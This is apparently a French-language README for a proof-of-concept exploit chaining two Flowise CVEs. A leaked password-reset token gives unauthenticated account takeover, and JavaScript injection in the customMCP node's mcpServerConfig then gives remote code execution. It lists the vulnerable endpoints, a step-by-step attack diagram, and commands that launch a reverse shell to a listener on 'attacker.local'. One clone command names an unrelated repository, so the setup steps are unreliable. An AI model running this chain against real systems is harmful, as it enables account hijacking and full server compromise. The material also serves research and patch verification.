0xdaeras/flowise-cve-2025-58434-chain-59528FlowiseAI CVE-2025-58434 & CVE-2025-59528 exploit PoC, démontrant un ATO non authentifié via une fuite de jeton de réinitialisation, suivi d'une RCE authentifiée. Comprend un environnement de laboratoire Docker reproductible.
⚠️ À des fins éducatives et de recherche en sécurité autorisée uniquement. L'utilisation de cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite est illégale.
Ce dépôt contient une preuve de concept en Python pour enchaîner deux vulnérabilités de Flowise :
Flowise est une plateforme glisser-déposer pour construire des applications LLM et des workflows d'agents IA. CVE-2025-59528 affecte Flowise 3.0.5 et a été corrigée dans la version 3.0.6. Le problème vient du traitement non sécurisé de mcpServerConfig à l'intérieur du nœud CustomMCP. CVE-2025-58434 est liée à l'exposition du jeton de réinitialisation de mot de passe et a également été corrigée dans Flowise 3.0.6.
L'outil prend en charge :
Le processus de réinitialisation de mot de passe vulnérable expose des données sensibles de l'utilisateur, y compris les jetons temporaires de réinitialisation de mot de passe, dans la réponse de l'API. Un attaquant qui connaît une adresse e-mail valide peut demander une réinitialisation de mot de passe, récupérer le jeton temporaire dans la réponse et l'utiliser pour définir un nouveau mot de passe pour le compte.
Le comportement vulnérable affecte Flowise cloud ainsi que les déploiements auto-hébergés/locaux exposant la même surface d'API. La correction consiste à ne jamais renvoyer de jetons de réinitialisation de mot de passe ni de données sensibles de réinitialisation de compte directement dans les réponses de l'API.
La vulnérabilité existe dans le nœud CustomMCP de Flowise. Le paramètre mcpServerConfig est analysé dans le cadre du processus de configuration du serveur MCP et est évalué comme du code JavaScript sans aucune validation de sécurité. Cela permet à un attaquant authentifié d'injecter du code JavaScript arbitraire, qui est exécuté dans l'environnement Node.js du serveur Flowise. Dans la fonction convertToValidJSONString, l'entrée utilisateur est passée au constructeur Function, qui évalue l'entrée comme du code JavaScript avec tous les privilèges Node.js, permettant d'accéder à des modules comme child_process pour exécuter des commandes système.
Le point de terminaison vulnérable utilisé par cette PoC est :
POST /api/v1/node-load-method/customMCP
avec une charge utile js dans le champ mcpServerConfig du corps JSON, par exemple :
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "..."
}
}
Le code vulnérable se trouve dans le fichier CustomMCP.ts et est référencé dans l'avis du mainteneur GitHub pour cette CVE.
Attaquant Flowise
│ │
│ [CVE-2025-58434] │
│ POST /api/v1/account/forgot-password │
│ { email } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ objet utilisateur + tempToken │
│ │
│ POST /api/v1/account/reset-password │
│ { email, tempToken, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ mot de passe modifié │
│ │
│ POST /api/v1/auth/login │
│ { email, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ token / refreshToken / connect.sid │
│ │
│ [CVE-2025-59528] │
│ POST /api/v1/node-load-method/customMCP │
│ mcpServerConfig=<config malveillant> │
│─────────────────────────────────────────►│
│ JS évalué dans Node.js
│ commande exécutée
│◄─────────────────────────────────────────│
│ sortie de la commande ou charge utile │
│ │
✓ Prise de contrôle de compte + RCE authentifiée
Structure du dépôt
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Configurez les variables d'environnement
docker-compose up -d
Sans aucun argument, l'outil exécutera la chaîne d'attaque complète, vérifiera la vulnérabilité cible, effectuera la prise de contrôle du compte pour l'e-mail fourni, se connectera pour récupérer les cookies, puis exploitera la vulnérabilité RCE avec une charge utile de shell inverse. Lancez un écouteur dédié (par exemple, nc -lvnp 9889) avant d'exécuter l'outil en mode chaîne complète.
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889
python3 exploit.py -h
Effectue une vérification de version pour déterminer si la cible est vulnérable à CVE-2025-58434 et CVE-2025-59528. Il envoie une requête à l'API cible et analyse la réponse pour identifier la version de Flowise et l'état de la vulnérabilité.
python3 exploit.py --target http://localhost:3000 check